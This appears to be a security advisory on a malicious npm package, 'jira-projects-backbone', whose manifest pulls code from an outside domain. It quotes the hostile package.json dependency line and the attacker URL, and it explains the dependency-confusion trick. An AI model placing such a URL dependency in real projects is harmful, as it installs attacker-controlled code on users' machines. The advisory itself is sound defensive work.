GCVE-110-OSM-2026-11274

package.json line 11 declares a dependency whose key equals the package's own name (`jira-projects-backbone`) with a value that is a bare HTTPS URL, `https://repo.securityctrl.com/jira-projects-backbone`, instead of a registry version range. On `npm install`, npm fetches whatever tarball that URL returns and installs it, running any lifecycle scripts it contains, with no version pin and no integrity check. The shipped source in this package is an inert stub, so the manifest itself is the entire install-time surface — every install resolves to attacker-controlled code from repo.securityctrl.com. The self-name reuse and implausibly high version (45.0.0) also give this manifest a dependency-confusion shape against any internal package named `jira-projects-backbone`. Judge assessment: This looks like a supply-chain loader planted to make `npm install` fetch attacker-controlled code from `https://repo.securityctrl.com/jira-projects-backbone` instead of a normal registry version. The package’s own source is just an inert stub in `index.js`, so the real behavior is in the manifest: a URL-based dependency that bypasses registry controls and can execute whatever lifecycle scripts the remote tarball contains. The attacker model is clear: a publisher with multiple prior malicious packages (`amplitude-experiment`, `axis-datagrid`, `framework-zero`, `integration-amplitude`, `katal-logger`, etc.) is using a dependency-confusion-shaped package name and implausible versioning to steer installs to controlled infrastructure. The OSV advisory’s description is corroborated by the literal `package.json` evidence and the plaintext loader IOC `repo.securityctrl.com`. ENTRY index.js (main: index.js) - URL-Based Dependency in package.json: ""dependencies": { "jira-projects-backbone": "https://repo.securityctrl.com/jira-..." DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages